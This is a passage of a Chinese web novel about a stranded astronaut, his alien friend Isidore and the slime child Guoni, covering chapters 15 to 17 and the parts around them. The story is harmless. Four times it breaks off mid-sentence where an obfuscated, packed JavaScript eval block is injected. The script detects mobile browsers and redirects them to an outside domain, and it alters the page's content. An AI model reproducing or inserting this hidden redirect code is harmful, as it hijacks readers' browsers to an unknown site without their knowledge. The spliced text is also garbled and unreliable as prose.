小果泥刚开始还有兴趣,黏糊糊上来一会儿又不玩了。他今天是实体的白发小胖崽,背后那对肉肉厚厚的蝴蝶翅膀动不动抖两下。钟章经常走神,打着打着就看向小果泥的翅膀,打着打着就在游戏里死了。 “啊。”小果泥生气地大叫,“你会不会玩。怎么又死了?” 钟章不好意思笑笑,“中级赛不好打嘛。” 小果泥嘴巴又翘起来,那对小翅膀呼呼扇动起来,看得钟章一阵眼花,“那给我,给我玩。” 钟章:“你刚刚不是不要玩嘛。” “那我现在要啦。”小果泥在原地蹦跶几下,够不到操作环,脸又气圆了,“你不给我。我就要告诉哥哥。” 钟章逗弄小孩一会儿,还是递给他。 得到游戏操控环的小果泥倒也不计较钟章之前的行为,双手四处按着游戏按键,死得比钟章还要快。 “唉?”幼崽不理解自己怎么会输掉。他一思考,那对小翅膀呼呼呼又扇动起来。钟章伸出手轻轻一碰,马上被幼崽转过头瞪着。 “不可以。”小果泥捂住自己的翅膀和屁股,“坏光头。” 剃完脑袋还没长出新头发的钟章胸口中了一枪。 “我会长出头发的。”钟章蹲下身抢走小果泥手中的操作环,“不许说哥哥是光头。” 小果泥才不听。 自从钟章骗他亲亲后,小家伙就记恨上钟章了。不光再也没叫过钟章“东方红”,每次走过钟章身边都很大声地发出鼻音,把脑袋别过去。 要不是钟章开始玩游戏,还偷偷让给小果泥玩一两次,小果泥才不会和钟章说话呢。 “就是光头!秃头!头发飞飞!” 钟章捂住脸,知道这些词汇大概是后面几天自己的外号了。 希望序言不要在意这些细枝末节。 “飞飞。哥哥让你去开机甲。”小果泥停顿一下,颇不满意地告诉钟章,“你快点飞过去。”说完也不管钟章自己能否走到停机坪和维修厅,自己吧嗒吧嗒跑开了。 幸好,上回走趴下后,钟章马上向序言学习如何在室内开“车”。 现在的他已经熟练掌握召唤室内“车”的方式了:只需要一挥手,触发序言共享给他的权限,就能带出一个类似“卵”的椭圆形物体。走进去,点击自己要去的地方,卵就会融入到地面、墙壁等地方,以最快直线距离把钟章传送过去。 维修厅,便是钟章这几天常去的地点。 和存放几十米的高大机甲略不同,维修厅里的设备看上去更小巧,更适合日常使用。序言没事就在这里制作他的复仇道具、安保设备和一些奇怪的东西。 “试试这个。”序言拿出一套很像防弹衣的小背心,“我做了减重设计,你穿上应该不会太累。” 为展示自己的工作成果,序言还特地打开背心、揉了揉背心布料,给钟章展示这衣服的柔软程度。 “和之前的光罩一样,是保护我的吗?” “嗯。”序言言简意赅道:“黑洞跳过去,冲击力比较大。你试试看。” 他将小背心递给钟章。就在完全拿住小背心的一刹那,钟章双臂不受控制向下,全身一个踉跄,直接摔在地上,朝序言磕了一个结结实实的响。 钟章:…… 不死心的东方红族尝试抬起自己的两只手臂,却发现自己完全被压住,小臂大臂上半身全部用上力气,也没有办法撬动这块小背心。 钟章再次对自己活着回家一事产生质疑。 序言一手抓起小背心,一手抓起他时,这种“活着回家”的存疑性就更充斥满钟章的内心。 他也压根不藏着,询问序言,“我不会死回家吧?” 序言直抒胸臆,“所以,我在研究,怎么活着送你回去。” 钟章想到自己之前被序言送走的事情,欲言又止,“那之前,温先生。” “三分之一的概率。”序言道:“你运气,很好。” 钟章看看序言,看看序言手中的小背心,含泪点了点头。 没错。他能够遇到序言,确实是运气非常好的一件事情了。这个文明里的其他生物,不把他抓取当做实验品就不错了。 “你的事情怎么样了?”钟章关心序言,“真的不需要我帮忙吗?” “不用。” “那,我可以看看烛龙舱吗?” “我在改机甲。”序言道:“不过我提前改好了收发信号的装置。你要不要和家里发个消息。” 钟章:…… 钟章没反应过来。 等他意识到序言在说什么骇人听闻的事情后,整个表情都在惊恐和惊喜之间乱转,“你。你说什么?” 我可以联系地球了? “嗯。”序言还是那副平静的样子,“你试试。” 最近两天,钟章在饭点都见不着他。问小果泥,才得知序言都在维修室、机甲地下室等一类研究地里待着。 原来,是在研究这个东西吗? 钟章眼泪都快掉下来了。他也不管自己现在还趴在地上,弹射起来,给序言一个大大的拥抱。 “伊西多尔,你真的是太棒了。” 序言嘴唇动了动,差点往后退。不过看着怀里这个咋咋呼呼的东方红族恢复活力,脸上肌肉一点一点柔和下来,充满无奈。 算了。 他道:“你开心就好。” 还是别说,自己是没见过这么老的收发装备,拆开研究后装回去,意外发现自己修好吧。 东方红族的科技看上去还蛮复古的,不知道他们停在卫星上的车子是不是也采取这种复古工艺。 序言想搞一点放到自己的收藏库里。 钟章两眼闪烁着泪花,仰头望着序言。 他第一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15461882|169480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼看到序言的胸,不动声色将脸往外面移了点,再闪着泪花看向序言的脸。 太帅了!我的外星挚友!! 这可是由我老家主导,多国高新技术协同更新后的第十代宇宙信号收发器。我当初搞懂怎么装,怎么调整信号,就学了三个月之久,还要记住各种波长和加密传输。你居然轻而易举地修好了! 钟章清楚记得这款收发器的适用范围是太阳系。 而现在,他肯定不在太阳系了——序言不光修好了!还把他修成了加强版本吗?挚友!我一生的挚友啊,我要和祖国妈妈隆重介绍你! “伊西多尔。”钟章用亢奋但不标准的语调念着序言的虫族名字,“我永远喜欢你。你是我这辈子最好的朋友。” 生怕序言听不明白,钟章先双臂笔画一个大爱心,再笔画一个中爱心,最后手指笔画一个小爱心放在自己胸口扑通扑通往前送。 序言沉默看着面前这一幕。 渐渐地,他摸摸脑袋,觉得后脖热热的。 再抬头,钟章已经像个猴子一样跳着跑开了。那跳跃融合了三级跳和撑杆跳,有一种海边撒欢的泼猴美。 序言不理解。 他看向一直陪伴在自己身边的温先生,问道:“他是在和我求爱吗?” 温先生严肃地查阅他的字典和知识库,告诉自己主控,【没错。爱心在地球上就是求爱的表现。而且很多雌性会向雄性画爱心,这在他们那似乎是一种很明确的伴侣结成方式。】 为了作证自己的理论,温先生放出几段糊糊的视频。 大学生在操场上用蜡烛摆出一个巨大的爱心,其他人在一旁鼓掌,大喊着“答应他,答应他。”爱心中央,男生单膝下跪手捧一束花递给女生。 温先生介绍道:【这就是他们雌性向雄性求爱的方式。】 序言一拍大脑,“哦。所以他双膝跪地也是求爱。” 东方红族的习俗真奇怪。 【不过我觉得他更接近这种模式。】温先生放出第二段糊糊视频。 演唱会上,男偶像们穿着闪亮亮的衣服,集体比划着明确的爱心动作。他们对着镜头撩拨头发、撩拨衣服、时不时眼睛很刻意的眨一下,引发台下黑漆漆一片里的无数欢呼声。 序言理解了。 他道:“他之前时不时做过类似的动作?” 只是现在头发没有了,所以退而求其次,用手来表达对自己的喜爱。序言越想越觉得就是这么一回事,没有忍住,跟随视频里雌性的样子把头发梳到后面,“我可真有魅力。” 我不愧是雄父的孩子,多少还是继承了雄父的魅力嘛。 这才相处多久,这位东方红族就为我神魂颠倒了,想要跨越种族来和我相爱。 序言对着反光玻璃左看右看,越想越开心,哼着歌去做自己的事情了。 * 烛龙舱。 钟章迫不及待打开舱门,跳到座位上,摸索出信号收发器。 祖国妈妈!你的好大儿要给你打电话了! 基地里的各位同胞同学同期们哈哈哈!你们没想到我钟章要回来了吧。 15.第十五章 第十五章 钟章是个只做凤尾不能当鸡头的神奇存在。 他这类学生就适合“孟母三迁原理”:你把他放在任何一个环境里,他都会慢慢适应,慢慢从尾部爬到中部。越好的环境里,他就会越好。反之,放到一个稀巴烂的环境里,他也就自然而然地腐烂掉,从头部掉到中部。 非常神奇的中间效应。 钟章自己倒也不是不追求上进,而是他智商就那样,全部点数都□□在心态上——他艰难地读书,艰难地跨专业考研,艰难地参与春招秋招,艰难地入选国际宇航员培训计划,艰难地上天被炸飞。 哈哈!他现在觉得前面的艰难都是为了今日的光宗耀祖。 所有人类,没想到吧。来自宇宙的第一发回复,是来自我地球华夏窝窝省窝窝市窝窝区窝窝街道窝窝号的钟章! 我注定要说出那句“我的一小步,人类的一大步”。 谁能抗拒载入史册的第一次呢? 反正钟章拒绝不了。 他绞尽脑汁,逐字逐句,百次斟酌,敲出自认为字字珠玑的友好之音,陶醉地自我朗读几遍,把自己感动得满眼泪花。 多美丽的中文,多动听的中国话。 发!马上给我的祖国妈妈发电话!漂泊在外的游子快想死他妈了! 钟章激动澎湃地按下发射按键,在烛龙舱里徘徊、踱步、踌躇、深呼吸。 嗯。宇宙这么大,发消息晚点回复也是正常的。钟章给自己做心理建设:接下来的我要自己丰富的肢体语言,表达我对外星挚友的拳拳热爱之心。 殊不知。 序言那忽然想起了一件事情。 “果泥。”序言对边上玩耍的崽提出质问,“你是不是没有把语言翻译系统加载到那个收发器里?” 那……钟章发出去的,应该是虫族的通用语吧? “可是。果泥给他亲亲了。”小果泥不理解,“他会那么笨吗?” “嗯。”序言觉得也是。 钟章现在虽然能够看到直译的家乡话,但他自己应该不会那么不小心忘记这件事情吧。 谁会粗心大意到这种程度呢? “不过应该没什么大问题。”序言心大地想着,“一些特别难的词句,翻译不出来,翻译器就直接转东方红语,原翻不动地输出。” 钟章说话那么直白,雄父制造的词库那么丰富,应该不会出意外的。 * 地球。 极光下。 北极科考站收到了一段奇怪的信号。 相比于其他地球上能够收到的其他无线电信号,这一段信息呈现出极大的跳跃,像一只鲸鱼从天而降砸入地球这个小水潭,将其他信号挤压到其他角落蜷缩着。 它们清晰又明确,出现的时间却极短。除北极之外,全球数家太空信号收集基地与宇宙观测中心都察觉到这一状态。 0.3秒。 他们出现在地球其他地方的时间只有这么一瞬间,唯有北极,伴随着极光和漫长长夜,信号诡谲地被拉长。 0.3 0.5 1秒! “马上要解析出来了!”技术员的声音在控制室内回荡。所有人迅速聚拢过来,不管皮肤是何种颜色,他们的视线都紧紧聚焦在技术员面前的电脑上。 短促但波动巨大的信号,辅以各种工具加以破解。 随着底下解析进度条一点一点加载。北极联合科考站中,有的手搭在白大褂上收紧,有的手不住地扣响桌面,有的手捂住嘴巴,放下又再一次遮掩住嘴巴。 “怎么样?” “不知道。” 他们盯着屏幕最后一点进度,看到桌面弹出一段破解好的音频,以及一长段无法分辨是否有含义的混乱字符。 “将这段字符发给我。”有人提议道:“我尝试破解一下。” “先听听音频。” 室内再一次安静下来。 所有人暂时不清楚他们会听到什么,但他们追踪这段信号的来处,发现它宛若一道设计好的炮弹,从地球上空直直地打击下来。 ——如果音效也具备攻击性,北极科考站此时应该化为一片废墟了。 “准备好了吗?”环视四周,所有人面色沉重。在此刻,他们清楚自己贸然听取这一段音频,可能会发生科幻小说中描写的任何场景:变异、失常、疯癫等等。 但这是外太空第一次朝地球发出意义明确的信号。 这,会是外星人对人类的第一声“你好”吗? 按着鼠标的女人深吸一口气,她脑子里回放着无数关于外星ufo的传闻。在静到粘稠的空气里,她食指轻轻一点。 音频开始播放。 一段细碎的混合着难以分辨的沙哑声音说这话。他的音调忽而高,忽而消失在人类能够听到的频段里,呈现出一段空白。非要形容,他的嗓子像是被调节过一样,加入严重的混响和磨砂感。 那不是人类可以发出的声音,那也不是任何数据加工可以模拟出来的声音。 “……征服……” ! 队伍中的华夏科学家眼皮一跳,几乎是跳起来,嘶吼道:“回放。他刚刚说了中文。” 随后,他意识到自己失语,捂着嘴巴。 所有人却都瞪大眼睛看向他,朝夕相处下,他们多少对中文也有所了解。 征服…… 征服什么? 征服地球吗? 天杀的!他们地球出了球奸要带着外星人攻打地球吗? “快。快上报联合国!”一群人忙急忙慌地打电话告诉自己的所属的国家,“不好啦。我们收到了一段可能来自外星球的信号。地球可能出了个大球奸!!” * 外太空。 钟章陶醉在自己创作的名言警句里。 他觉得自己写出“这是人类征服宇宙的第一步”简直太有水准了,看似平平无奇,但却充满星辰大海般的愿景。 他的同胞、同袍、同学、同期们听到后一定激情澎湃吧。 纵观全篇,钟章自认为用句朴实无华,但着实是情真意切,令人感动。从高考后,这篇小小的传回地球的文章和语言朗诵,简直是他文采的集大成者! 未来会不会载入中小学生语言必读课本呢? 哎呀,要是未来的外甥和外甥女在阅读理解上做到自己这篇小作文要怎么办呢?真是苦恼呢。 要不要给他们讲一下自己在写这篇小作文时,难以自制的思乡之情呢? 钟章想着想着忍不住笑出来。 他也不着急祖国妈妈那么快联系上自己,毕竟,他对老家的科技水平很有认知——当务之急是多去序言那唠嗑,多卖弄点风骚,看看能不能让挚友为地球科技添砖加瓦。 于是,吃饭时,序言和小果泥又见到了浑身刺挠的钟章。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15462958|169480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 一大一小就直直看着钟章摸摸他那个闪烁的光头,一会儿若有所思地展示他的光头下的脖子,用个筷子还悄无声息地曲一下胳膊。 序言:…… 成年雌虫觉得东方红雌性确实有点不太矜持。 不过,他序言魅力这么大,长得又那么符合东方红审美,人家控制不住。呵。那也不能怪对方啊。 “哥哥。”唯一对这件事情不满意的只有小果泥了。他发觉哥哥盯着没有头发的坏闹钟看,顿时气成球,“哥哥不准看他。他都没有头发。” 钟章搔首弄姿的动作卡住一瞬。 头顶无毛的他丝滑摸一把自己的脑壳,面向小果泥教育道:“哥哥没有头发,难道不帅吗?” 小果泥大声地说真话,“像蛋,丑。” 序言去捂孩子嘴的时候已经来不及了。 区区一句“丑”把钟章浇个透心凉。亢奋一整天的东方红先呆愣好几秒,耷拉下脑袋,慢慢瘫在桌子上,脑袋埋在手臂中间。 “真的很丑吗?”钟章伤心的问着序言,“像你们这里的蛋吗?” 序言不忍心。 他道:“我们这里没有花纹的蛋,很珍贵。” 钟章不在意什么珍贵,他就是在意自己的小帅形象,追问道:“那我好看吗?” 序言:“丑。” 钟章发出一声惨叫,不活了。 他捂着自己的光头,一副要死要活的颓废样。 序言却一点也不觉得自己说的错,他还能补充道:“只是没有头发。丑。” 言下之意,长出头发,应该还是不错的。 钟章发出一声绵长的哀叹,更不想面对自己之前的搔首弄姿了。 “可是长头发要很久。”钟章哭泣道:“说不定,我回家,头发还是光光的。” 序言哑然。 他其实不懂丑有什么好哭的。自己觉得自己帅飞天就够了——像他,他是四兄弟中长得最普通的一个。但他雄父、他雌父、他自己从不觉得不如其他兄弟长得好,有什么问题。 他在他雄父雌父眼中,毋庸置疑是一个又帅又好的小孩。 序言从没有怀疑过这一点。 他就算剃了光头,雄父也只会会夸他剃头真清爽,雌父更会拍着他的肩膀说他这样才有雌虫的气派。 难道,对于钟章这样的东方红雌性来说,头发非常重要? 序言想到一款虫族热卖的产品。 他道:“我知道了。你想要会长头发的药水,对不对。” 钟章停止啜泣,心中燃起希望。他捂着光头,用渴望的目光看着序言。 序言介绍道:“我那有一份。你可以先拿去用。明天早上,你的头发就出来了。” “伊西多尔。”钟章虔诚地比爱心,“我永远追随你。你真是我一生的挚友。挚友就是最好的朋友的意思。是无敌好的那种朋友。” 序言微笑不语,只是递药水。 第二天。 钟章在一床的头发里醒过来。 他懵懵懂地看着四周:地上、床上、屁股底下全部是他自己的头发。不过不同于掉头发,这次头发全部连接在钟章自己脑壳上。 “我靠。”钟章在床上站起来,同手扯了下自己的头发,居然没有扯完。他看着满屋子黑黢黢、油亮发光的长发,再看看自己手心满满一握,震惊得合不拢嘴。 长发公主,原来是我吗? 16.第十六章 第十六章 钟章有生以来第一次拥有那么多头发。 他感叹自己在地球要是有那么多头发,就可以捐出去做假发。 “伊西多尔。”钟章抱着满满一怀抱的头发,蹦蹦跳跳去找序言,“看。我长了好多头发,简直是长发公主。” 序言不理解什么是公主。 他们的世界没有“公主”这个概念。 “公主就是……被爱着的穿得很漂亮的国王的女儿。女儿就是雌性的孩子。”钟章乱七八糟的解释道:“我们说一个人好看,甜甜的,就说她是公主。” 序言看着钟章,觉得钟章是公主恰如其份。 “你很甜。”他认真道:“你是公主。” 钟章爽朗地笑起来,抱着一堆头发动来动去,“这个生发剂再给我几瓶吗?我想带回家用。” 这么好用的生发剂,不得资助给那些中年早秃的打工人们吗? 序言没什么意见,他直接抱了一箱上来。钟章由此看到了上面硕大的“宠物用”三个翻译字。 钟章:…… 行吧。宠物用得,难道他就用不了吗? 钟章毫无廉耻地照单全收,梦想回到老家可以靠着生发剂小小的赚一笔。毕竟和什么机甲啊、治疗舱起来,生发剂是那么的微不足道。 “伊西多尔。你这里有剪刀吗?”钟章抓着自己一大把头发,笑笑,“我打算剪掉一点。这么长有点太碍事了。” 最终。 钟章把自己剪成一个翩翩的古风小生,头发留到腰部那么多。 “我还没有留过这么长的头发。”钟章觉得机会难得,给自己小小尝试一下,“读书时学校有规定,头发不能过眉毛。上大学干土木,头发又不方便留长。读研就更没时间打理了。” 考上研究生后,苦于读研,没事就去健身,也没有怎么注意头发。 好不容易毕业了,春招秋招想要一个良好形象求职,又没有把头发留起来。 阴差阳错入职成为宇航员预备役后,为了训练,又剃平头。 故而,钟章一直没有尝试过长发发型。 “你知道吗?在我们那,其实留长发的人都挺好看的。如果拿个吉他,这样。”钟章双手一架,很有气势地开始摇头晃脑,手指乱弹空气吉他,“超级帅。” 序言:…… 不好意思,他并没有看出什么帅气的点。反而看到钟章刚刚理顺的一头黑发,颠转倒立,很快变一头蓬松扫把。 “帅吗?”钟章满怀期待地看着序言。 序言嘴巴咧了下,想笑又忍住,最后还是没控制住表情,“很甜。你是一个公主。” 钟章没忍住,也跟着序言一块笑。他们有时候也不知道为什么会笑,就是觉得彼此好笑,感觉自己跟着笑也很好玩。 等笑累了,序言坐下来给钟章编辫子。 钟章蹲在序言面前,感觉外星朋友的手一下一下顺过自己的脑袋顶,有种被顺毛的错觉——他读书时,有同学把家里的苏格兰牧羊犬带到学校。那抱着梳毛的感觉和现在差不多。 不过,钟章代入狗的视角。 他看不到序言给自己梳了什么造型,只觉得对方手指灵活绕过,指腹捻住头发用什么束紧,头发一阵紧绷感。 “伊西多尔?” “嗯。” “你经常扎头发吗?”钟章组织语言,两只手撑在膝盖上,随着序言的动作有些不安地隆起,好像蓄势待发的蜘蛛,“感觉好熟练。” “我会给雄性的父亲、弟弟们梳头发。”序言手上动作没有停,钟章却感觉他的力度稍微轻了点。 这还是序言第一次明确提到“雄性的父亲”之外的家属。 钟章想要更多了解序言。 他夸赞道:“那他们真幸福。” 序言停下动作。 他的手放在钟章脑袋上,像按着一个气球,随时都能捏爆对方。可他施展出的力度又是微妙的、让人无法分辨下一步的行动。 “我不喜欢这个话题。”序言道:“换一个吧。” 钟章讪讪地应答,胡乱说了点老家的人文风貌,提及某些城市会把头发堆成宝塔形状、扎成花篮样式等等。 两者氛围终于缓和下来。 “看看。”序言一个响指召出镜子。他双手搭在钟章肩膀上,贴着钟章的脸,“好看吗?” 好看。 钟章看着镜子中的自己,以及自己身旁的序言。 他第一次共同端倪这两张脸,第一次在如此亲昵的状态下观察他们的五官与神态:哪怕刚刚生过一点微不足道的气,序言脸上也并没有丝毫怒意。他的眼瞳是忧伤又温柔的,像是一汪泉水里倒影出的虹光,闪烁着点彩芒。 “不喜欢吗?”序言问道。 他看向镜子里的钟章,以及自己久违地梳发作品:每一根头发都仔细扎到编发中,钟章的头发柔顺光滑,如同它的主人一样好脾气。序言仅仅是看着,都能回忆起那头乌发从自己指尖穿过的滋味。 而他再抬头,正对上镜子里钟章微笑的眉眼。这个东方红笑起来,眉毛弯弯,嘴巴弯弯,却并不是那种礼节性的曲折——序言能感到他全身心都挥发出一种喜悦,无数被誉为感染力的东西反射到镜子上,照耀在序言的身心上。 “超级喜欢。”钟章笑道:“伊西多尔,我被你变成公主了。” “你本来就是公主。”序言回答道。 钟章托着脸,猝不及防杀回到之前的话题,“我不知道什么时候说了错话。希望你原谅我。” 他们原本就离得近,此时稍一动作,两人几乎嘴唇贴着嘴唇,只留下一道流动的由彼此呼吸所铸造的甬道。序言身体微微向后,垂下眼眸,不去看钟章的黑眼瞳,以及眼瞳里的自己。 “我原谅你。” 他道:“我不是因为你生气。” 如果不是被迫无奈,谁会草率地决定和一个外星人离开故土? 如果不是孤苦伶仃,谁会一个人住在那么大又那么冷的飞船上? 序言不想提起他的兄弟们。 他也不想告诉钟章,他过去遭遇了什么。 “我知道。”钟章回答,“伊西多尔。我只是,不想你伤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15469586|169480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心。” 序言从最开始的挣扎、无奈,到后续的缴械投降。 因为钟章又开始对他笔画爱心了。 他就这么喜欢我吗?序言百思不得其解。这个巨大的奇妙的问题困扰着他,暂时让他忘记那些无法改变的痛苦——他的前半生没有喜欢过任何一个雄虫或雌虫。因为雄父的身体不好,他也鲜少养什么动物,偶尔琢磨花花草草也不长情。 更别提“喜欢”什么。 难道是成年了?我张开了,魅力开始蓬勃发展了吗? “果泥果泥。”序言实在睡不着。他拍拍身边呼呼大睡的幼崽,“你觉得闹钟哥哥怎么样?” 小果泥哼哼唧唧不回答。 序言又哄了他好一会儿,幼崽才慢吞吞回答道:“他,说话不算话。果泥才不相信他。他是大坏蛋。” “可是,他好像特别喜欢哥哥。” 小果泥嘴巴又翘得老高,“不要。哥哥不准喜欢他这种坏蛋。他。他就是那种负心坏蛋。他骗果泥亲亲,也会骗哥哥亲亲。” 序言听着听着,笑了。 他想,果泥果然是小孩子。 钟章骗果泥是为了得到语言翻译的功能。骗自己亲又能得到什么好处呢? 他随口敷衍道:“他骗你亲。你骗回来就好了。” “唔。”小果泥躲在被窝里蠕动一会,气呼呼地说胡话,“果泥香香亲亲。他臭臭的,才不给他亲。” “闹钟也不臭吧。” “就臭,就臭。” 小果泥对钟章骗自己的事情耿耿于怀,那么久他也没看到钟章完成答应自己的事情,嘴巴一天比一天撅得高。 他要惩罚这个坏东方红!说到做到! * 第二天早上。 钟章在胸闷气短中迷迷糊糊睁开眼,看到自己胸口一坨白凉粉。 钟章:…… 不敢置信的东方红族大喘气一声,“果泥?” 小果泥噗嗤噗嗤发出凉粉叫声,冲向钟章的脸,一屁股坐下去。钟章还没有反应过来,犹如呛水一般咕噜咕噜冒出气泡。他双手在脸上乱抓,数次把小果泥揪出一个小啾啾,小果泥却怎么也不松手。 “果泥。你。” 有什么东西好像从钟章身体中剥离开了。 钟章想要阻止这一行为,更用力撕扯小果泥。小果泥居然顺势跟着掉下来,沿着钟章的发力,撞在墙上,皮球一样弹跳数次。 “果泥!!”这次是门外传来序言的暴怒声。 小果泥浑身一颤,迅速溶解为液体,钻入地面,消失不见。等序言扛着抄网跑过来时,地面已干干净净什么都不留了。 徒留下钟章在床上干呕。 “果、泥。你给我站住!”序言咬着牙念着这死孩子的名字。片刻,他上前检查钟章的状态,“没死吧。” 钟章张张口,“没死。” 这次,出口是中文。 没有实况语音翻译,没有声音调节。 周围那些文字也重新淹没到日用品中,变成钟章完全看不明白的外星文字了。 17.第十七章 第十七章 语言不通所导致的第一个问题,就是机甲开不了。 别看钟章这几天到处挥洒魅力,实际上他也是有学习的——还是那个中等定律,他刚开始学习的速度没那么快,除了图形和归纳上有所长外,认字句上网课都是磕磕绊绊的。 “温先生温先生。”钟章驴叫起来,叫声凄惨,“我看不懂了,我学不明白了。” 温先生对着钟章说了一通话,叽里咕噜的,钟章一个字都没听懂。 随机,机智的东方红族又开始驴胶,“伊西多尔。伊西多尔。” 序言没听懂钟章在叫什么,他满屋子地找崽。等意识到自己这里的翻译器也失效后,气得抓耳挠腮。 “果泥!”你这个记仇的坏崽崽。 等哥哥找到你一定要揍你小屁股。 眼看序言也听不懂自己说的话。钟章终于陷入巨大的恐惧中,他摸摸喉结,揪住耳朵,试图寻找小果泥残留下来的物质。可他除了摸索到脖颈上那层无法取下的宠物项圈外,什么都找不到。 “闹钟。”序言一时间想不起来钟章叫什么,他喊他那个不怎么好听的外号,走上前握住钟章的手,“不要怕。你只是暂时听不懂我的说的话。果泥在和你闹脾气。” 钟章茫然看着序言。 他们都藏不住表情,在失去语言这一门直抒胸臆的武器后,只能用手和脸上的表情来揣测彼此的心意。 序言的手是温暖的。 钟章的手也是。 “我。”还抱着一丝一毫能被听懂的希望。钟章说道:“我又惹果泥生气了?” 他观察序言的表情,发觉对方那丝茫然与无奈并没有消失,知道自己的话还是没传递出去。 “可是,最近我真的没有做什么。”钟章说着说着,自己都觉得委屈起来,“最近都都在哄果泥。我还以为他已经原谅我了。” 序言长长叹一口气。 他依旧听不懂,但不妨碍他从东方红族低垂的眉宇中读到委屈和不解。一直咋咋呼呼像烟花的钟章失落起来,被暴雨打落的满枝花还叫人可惜。 序言不知道用什么语言去安慰。 他伸出手,轻轻圈住钟章的肩膀,确认力度后,小心翼翼地加深这个拥抱。 钟章的脸由此贴在序言的胸肌上。一脸懵的东方红族被充满慈爱的外星人抱抱、揉脑袋、拍拍肩膀。 “果泥的认知水平只有三岁。”序言看着面前被自己揉得柔软下来的东方红族,说着对方不一定听明白的话,“作为家长,我会好好管教他。你不要担心,我不会放弃你。” 说完。 他松开手,飞快提起抄网,开始调动所有机器人搜索果泥。 无数从地面、墙壁、天花板中生出的金属长条穿插而过,他们顶部闪烁着一点红光,远远看去像是黑暗中燃烧的箭雨。 钟章站在它们之下,仰着头,用一种难以复杂的心情看着它们及它们的主人。 我的魅力居然这么大吗? 虽然有点不敢置信,但钟章与序言相处下去,已经越肯定自己对外星人的吸引力——难道外星文明真的很吃他这种小帅风格吗? 钟章一面感谢序言对自己的喜欢,一面担忧自己失去语言后所处的被动情况。 到底什么时候能找到小果泥呢? 一天过去了。 两天过去了。 三天过去了。 地球第一次讨论外星信号的会议都召开了。小果泥还是没有被序言找到。这一回别说什么打孩子了,序言都快哭了。 诺大的一个飞船,他又找不到什么人哭诉,更不好去受害者钟章面前说话,开始整夜整夜睡不好,双腿蜷缩坐在指挥椅上,盯着各个机器从各个机位发过来的汇报。 “019-118无情况。” “028-198无情况。” “192-289无情况。” 果泥……难道掉到下水道里被冲走变成太空垃圾了吗?序言百思不得其解,最终只能想到这个离谱的猜测。 毕竟,更糟糕的猜测他不忍心去想。 “该死。”序言咬着手指,有些不受控制地往坏处去想,“难道,果泥的基因被改动了?他的性格被远程改写了?他被基因库那些垃圾抓走回炉重造了?” 实际不然。 钟章在自己的衣柜里发现分裂成四块的小果泥。 钟章:“……你怎么发现我的秋裤?” 分裂成四份的小果泥哼哼唧唧不想要理会钟章。 按照常理,钟章从地球来到外星球,秋裤之类的东西就应该不存在了。可耐不住序言非说他雄父是东方红族的文化专家,这种“秋天的裤子”是每一个东方红成年礼上必备的东西。 难以抗拒朋友热情的钟章就这这样,在外星球拥有自己第一条外星秋裤。 如今,这条只穿过一天的秋裤成为小果泥躲猫猫的窝。 “你哥哥在找你。”钟章伸出手就要兜住小果泥。这死孩子嘶溜一下从裤管里滑出来合成那个凉粉样子,对钟章满脸生气,“你走开。” 钟章听到久违的家乡话,却没有多少高兴。 他伸出手,先用力戳一下小果泥的脸,顺势揪他的脸颊。 “你生我的气,干嘛要躲着你哥。”钟章冷着脸教育道:“这几天,你哥快找疯了。” “他。”小果泥有些心虚的移开眼,为自己找借口,“他。他都不来找你的衣柜。” “那是你哥哥尊重我。”钟章深吸一口气,也不清楚果泥到底明不明白“尊重”的意思。他继续解释道:“你哥哥很好。他不会随便翻我的衣柜,所以才找不到你。他在意我,他把我看得很重要。当然,你在他心里更重要。” 小果泥不说话。 他在这时候显得很委屈,又有那种小孩子说不明白话的执拗。钟章盯着他很久,盯得他都变成草莓味了,小果泥才大叫起来,“才不是这样!” 从他出生开始,哥哥就不喜欢他。 他自己也知道,他是其他坏东西做出来陪雄父开心的小玩具。其他大人说话也从不会逼着自己,他们叫自己是“失败品”“次品”。 只有雄父喜欢他,雄父对待他就像是对待哥哥一样。雄父说,他的性格和哥哥一样。雄父还说,希望他多多学语言到时候可以和哥哥一起去很多地方。 因为哥哥是不会学语言的大笨蛋。 可是,其他坏东西大笨蛋都说,雄父喜欢果泥纯粹是因为果泥是个幼崽。 小果泥不想这样。 “果泥。果泥长得是不是有点像哥哥。”小果泥手舞足蹈地和钟章抱怨道:“可是,果泥以前不是这样的。果泥以前和雄父一样漂亮,不是这样胖胖的。” 钟章听得一头雾水。 他大概顺了下果泥的逻辑,还是没搞清楚他到底为什么生气, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 